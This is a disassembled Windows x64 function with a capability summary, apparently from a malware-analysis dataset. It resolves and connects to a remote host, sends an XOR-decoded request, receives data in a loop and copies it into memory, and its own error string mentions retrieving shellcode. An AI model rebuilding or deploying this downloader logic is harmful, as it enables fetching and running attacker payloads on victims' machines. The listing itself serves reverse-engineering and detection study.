Function at 0x1400110c8
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
jmp 0x140016ac0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x3660
call fcn.14001113b
sub rsp, rax
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xc0c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x3688]
mov rax, qword [0x140027040]
xor rax, rbp
mov qword [rbp + 0x3628], rax
lea rcx, [0x14002d2f7]
call fcn.140011681
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov edx, 0x20
lea rcx, [rbp + 0x38]
call fcn.14001106e
lea rcx, [rbp + 0x38]
call fcn.140011483
nop
mov qword [rbp + 0x238], 0xffffffffffffffff
mov qword [rbp + 0x258], 0
mov qword [rbp + 0x278], 0
movzx eax, byte [0x140022630]
mov byte [rbp + 0x2f0], al
lea rax, [rbp + 0x2f1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
mov byte [rbp + 0x414], 0xed
mov byte [rbp + 0x415], 0xef
mov byte [rbp + 0x416], 0xfe
mov byte [rbp + 0x417], 0x8a
mov byte [rbp + 0x418], 0x85
mov byte [rbp + 0x419], 0xaa
mov edx, 6
lea rcx, [rbp + 0x414]
call fcn.140011546
lea rdx, [rbp + 0x414]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, 6
lea rcx, [rbp + 0x414]
call fcn.140011546
mov rdx, qword [rbp + 0x3668]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, 8
mov rcx, qword [rbp + 0x3668]
call fcn.140011546
mov r8d, 0x2800
xor edx, edx
lea rcx, [rbp + 0x440]
call fcn.14001150a
mov dword [rbp + 0x2c74], 0x2800
lea rdx, [rbp + 0x80]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x2c54], eax
cmp dword [rbp + 0x2c54], 0
je 0x140016c9d
mov edx, dword [rbp + 0x2c54]
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.14001131b
lea rax, [rbp + 0x3328]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rbp + 0x3328]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
jmp 0x14001725a
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x298]
call fcn.14001150a
mov dword [rbp + 0x29c], 2
mov dword [rbp + 0x2a0], 1
mov dword [rbp + 0x2a4], 6
lea r9, [rbp + 0x258]
lea r8, [rbp + 0x298]
mov rdx, qword [rbp + 0x3660]
mov rcx, qword [rbp + 0x3658]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [rbp + 0x2c54], eax
cmp dword [rbp + 0x2c54], 0
je 0x140016d58
mov edx, dword [rbp + 0x2c54]
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.14001131b
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rbp + 0x3388]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rbp + 0x3388]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
jmp 0x14001725a
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x278], rax
jmp 0x140016d7a
mov rax, qword [rbp + 0x278]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x140016e88
mov rax, qword [rbp + 0x278]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x278]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x278]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0xffffffffffffffff
jne 0x140016e18
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.14001131b
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rbp + 0x33e8]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rbp + 0x33e8]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
jmp 0x14001725a
mov r8, qword [rbp + 0x3660]
mov rdx, qword [rbp + 0x3658]
lea rcx, str.___Connect_to__s:_s
call fcn.14001131b
mov rax, qword [rbp + 0x278]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x278]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x2c54], eax
cmp dword [rbp + 0x2c54], 0xffffffff
jne 0x140016e81
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp + 0x238], 0xffffffffffffffff
jmp 0x140016d68
jmp 0x140016e88
mov rcx, qword [rbp + 0x258]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp qword [rbp + 0x238], 0xffffffffffffffff
jne 0x140016ef1
lea rcx, str.Unable_to_connect_to_server__n
call fcn.14001131b
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rbp + 0x3448]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rbp + 0x3448]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
jmp 0x14001725a
lea rcx, [rbp + 0x2f0]
call fcn.1400112da
xor r9d, r9d
mov r8d, eax
lea rdx, [rbp + 0x2f0]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x2c54], eax
cmp dword [rbp + 0x2c54], 0xffffffff
jne 0x140016f8d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.14001131b
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rbp + 0x34a8]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rbp + 0x34a8]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
jmp 0x14001725a
mov edx, dword [rbp + 0x2c54]
lea rcx, str._n___Sent__ld_Bytes_n
call fcn.14001131b
mov edx, 1
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_shutdown]
mov dword [rbp + 0x2c54], eax
cmp dword [rbp + 0x2c54], 0xffffffff
jne 0x140017027
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.14001131b
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rbp + 0x3508]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rbp + 0x3508]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
jmp 0x14001725a
xor r9d, r9d
mov r8d, dword [rbp + 0x2c74]
lea rdx, [rbp + 0x440]
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x2c54], eax
cmp dword [rbp + 0x2c54], 0
jle 0x140017068
mov edx, dword [rbp + 0x2c54]
lea rcx, str.___Received__d_Bytes_n
call fcn.14001131b
jmp 0x140017093
cmp dword [rbp + 0x2c54], 0
jne 0x14001707f
lea rcx, str.___Connection_closed_n
call fcn.14001131b
jmp 0x140017093
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call fcn.14001131b
lea rax, [rbp + 0x3538]
mov qword [rbp + 0x3568], rax
movsxd rax, dword [rbp + 0x2c54]
lea rax, [rbp + rax + 0x440]
mov qword [rbp + 0x3608], rax
lea rdx, [rbp + 0x3588]
lea rcx, [rbp + 0x38]
call fcn.14001169f
mov qword [rbp + 0x3610], rax
mov rax, qword [rbp + 0x3610]
mov qword [rbp + 0x3618], rax
mov rdx, qword [rbp + 0x3618]
mov rcx, qword [rbp + 0x3568]
call fcn.1400112df
mov qword [rbp + 0x3620], rax
mov rax, qword [rbp + 0x3608]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x440]
mov r8, qword [rbp + 0x3620]
lea rdx, [rbp + 0x35b8]
lea rcx, [rbp + 0x38]
call fcn.140011550
lea rcx, [rbp + 0x35b8]
call fcn.14001154b
nop
lea rcx, [rbp + 0x3588]
call fcn.14001154b
mov r8d, 0x2800
xor edx, edx
lea rcx, [rbp + 0x440]
call fcn.14001150a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x2c54], 0
jg 0x140017027
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rbp + 0x38]
call fcn.1400113c5
movzx eax, al
cmp eax, 1
jne 0x140017195
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.14001131b
lea rcx, [rbp + 0x38]
call fcn.1400112b2
mov qword [rbp + 0x2c98], rax
mov rcx, qword [rbp + 0x2c98]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x2cb8], rax
mov dword [rbp + 0x2cd4], 0
jmp 0x1400171d3
mov eax, dword [rbp + 0x2cd4]
inc eax
mov dword [rbp + 0x2cd4], eax
movsxd rax, dword [rbp + 0x2cd4]
mov qword [rbp + 0x3608], rax
lea rcx, [rbp + 0x38]
call fcn.1400112b2
mov rcx, qword [rbp + 0x3608]
cmp rcx, rax
jae 0x14001721f
movsxd rax, dword [rbp + 0x2cd4]
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140011668
movsxd rcx, dword [rbp + 0x2cd4]
mov rdx, qword [rbp + 0x2cb8]
movzx eax, byte [rax]
mov byte [rdx + rcx], al
jmp 0x1400171c5
mov rax, qword [rbp + 0x2cb8]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x2c98]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 8]
mov rdi, qword [rbp + 0x3650]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.14001120d
mov rax, qword [rbp + 0x3650]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140022070]
call fcn.140011582
mov rax, rdi
mov rcx, qword [rbp + 0x3628]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x3630]
pop rdi
pop rsi
pop rbp
ret